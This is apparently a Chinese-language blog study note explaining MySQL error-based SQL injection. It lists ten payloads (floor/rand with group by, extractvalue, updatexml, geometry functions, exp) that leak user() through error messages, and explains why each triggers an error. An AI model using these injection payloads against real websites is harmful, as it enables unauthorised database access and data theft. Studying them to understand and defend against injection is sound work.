前言

前阵子看我以前的文章

http://www.damyahome.top/%E4%B8%80%E4%BA%9B%E5%92%8Csql%E6%B3%A8%E5%85%A5%E6%9C%89%E5%85%B3%E7%9A%84web%E9%A2%98wp/

有写有十种报错注入的方式,然后觉得自己还没理解透,所以小结梳理一下.

只分析常用的三种,其他都可以举一反三.

十种报错注入

资料来自:

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

  1. floor()

    1
    select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  2. extractvalue()

    1
    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  3. updatexml()

    1
    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
  4. geometrycollection()

    1
    select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
  5. multipoint()

    1
    select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  6. polygon()

    1
    select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
  7. multipolygon()

    1
    select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  8. linestring()

    1
    select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  9. multilinestring()

    1
    select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  10. exp()

    1
    select * from test where id=1 and exp(~(select * from(select user())a));

其中比较常用的是floor(),extractvalue(),updataxml().exp()也遇到过.

floor报错

原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误,爆出我们实际想查询的数据。

函数原理

基本语句(x 表示数字)

1
select count(*),(floor(rand(0)*2))x from table group by x;

举例

1
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

floor()

floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分.

rand()

rand()和rand(0)是有区别的,rand生成随机的0-1间随机数,结果不确定,而加了0的种子,就会形成伪随机.(产生的数据都是可预知的)当生成的数据和虚拟表数据重合时,就会形成报错.

floor(rand(0)*2)

将0-1间随机数变成0-2间的随机数,并进行取整,得到01随机数串.

group by 与 count(*)

group by()对数据进行分组,相同的分为一组,整合重复数据.

count()对重复数据进行计数.在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组.

图片

图片

count(*) 将返回表格中所有存在的行的总数包括值为 null 的行,在mysql查询中是最快的方式.

报错分析

group by()的虚拟表

在对数据进行查询时,group by会把重复数据整合,生成虚拟表,我们的查询也是在虚拟表上进行查询,避免了重复数据的干扰,并且需要整合函数count()或sum()进行计数.

图片

图片

rand()的特殊性

根据group by的两次运算,当其进行分组时,调用的floor(rand(0)2)执行一次(查看分组是否存在),如果虚拟表中不存在该分组,那么在插入新分组的时候 floor(rand(0)2) 就又计算了一次.(只要 rand(0) 被调用,一定会产生新值)

根据之前生成的表进行分析.

图片

图片

当 group by 对其进行分组的时候,首先遇到第一个值 0 ,发现 0 不存在,于是需要插入分组,此时floor(rand(0)2)再次被触发,生成第二个值1,因此最终插入虚拟表的也就是第二个值 1;然后遇到第三个值 1 ,因为已经存在分组 1 了,就直接计数加1(count()这时1的计数变为2);遇到第四个值 0 的时候,发现 0 不存在,于是又需要插入新分组,然后floor(rand(0)2)又被触发,生成第五个值 1 ,因此这时还是往虚拟表里插入分组 1 ,但分组 1 已经存在,所以报错.

extractvalue报错

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

extractvalue()使用XPath表示法从XML字符串中提取值

函数原理

基本语句

1
select extractvalue(1,concat(0x7e,(select user()),0x7e));

举例

1
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

extractvalue()

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

XPath路径表达式

1
2
3
4
5
6
nodename  节点名,选取此节点的所有子节点  例: childnode  当前节点中的childnode子节点,不包含孙子及以下的节点
/   从根节点选取  例:/root/childnode/grandsonnode
//   表示所有后代节点  例://childnode 所有名为childnode的后代节点
.   表示当前节点  例:./childnode  表示当前节点的childnode节点
..  表示父节点  例: ../nearnode   表示父亲节点的nearnode子节点
@   选取属性  /root/childnode/@id  表示childnode的所有含有id属性的节点集

谓语可以对节点集进行一些限制,使选择更精确

1
2
3
4
5
6
7
/root/book[1]    节点集中的第一个节点
/root/book[last()]  节点集中最后一个节点
/root/book[position() - 1]  节点集中倒数第二个节点集
/root/book[position() < 5]  节点集中前五个节点集
/root/book[@id]      节点集中含有属性id的节点集
/root/book[@id='chinese']  节点集中id属性值为chinese的节点集
/root/book[price > 35]/title  节点集中book的price元素值大于35的title节点集

通配符

1
2
3
XPath路径中同样支持通配符(*,@*,node(), text())
例:  /bookstore/*
//title[@*]

运算符

1
2
3
4
5
6
|  两个节点集的合并  例:/root/book[1] | /root/book[3]
+,-,*,dev,mod
=,!=,<,>,<=,>=
or,and  或和与
多个属性条件查询      //div[@align='center' and @height='24']
不存在class属性       //div[not(@class)]

报错分析

报错注入通过报错信息来查到我们想要的内容,首先需要构造的就是报错。

例如:SELECT ExtractValue(‘‘, ‘/a/b’); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错,可以利用这个特性来获得我们想要知道的内容。

图片

图片

利用concat()函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

concat()函数用于将多个字符串连接成一个字符串,返回结果为连接参数产生的字符串,如有任何一个参数为NULL/二进制 ,则返回值为 NULL/二进制。

图片

图片

updatexml报错

updatexml()返回替换的XML片段

函数原理

基本语句

1
select updatexml(1,concat(0x7e,(select user()),0x7e),1);

举例

1
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

updatexml()

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。

报错分析

例如:

1
2
3
4
5
6
7
8
9
10
11
12
select
UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1
UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2
UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3
UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4
UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
***********结果**************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容

图片

图片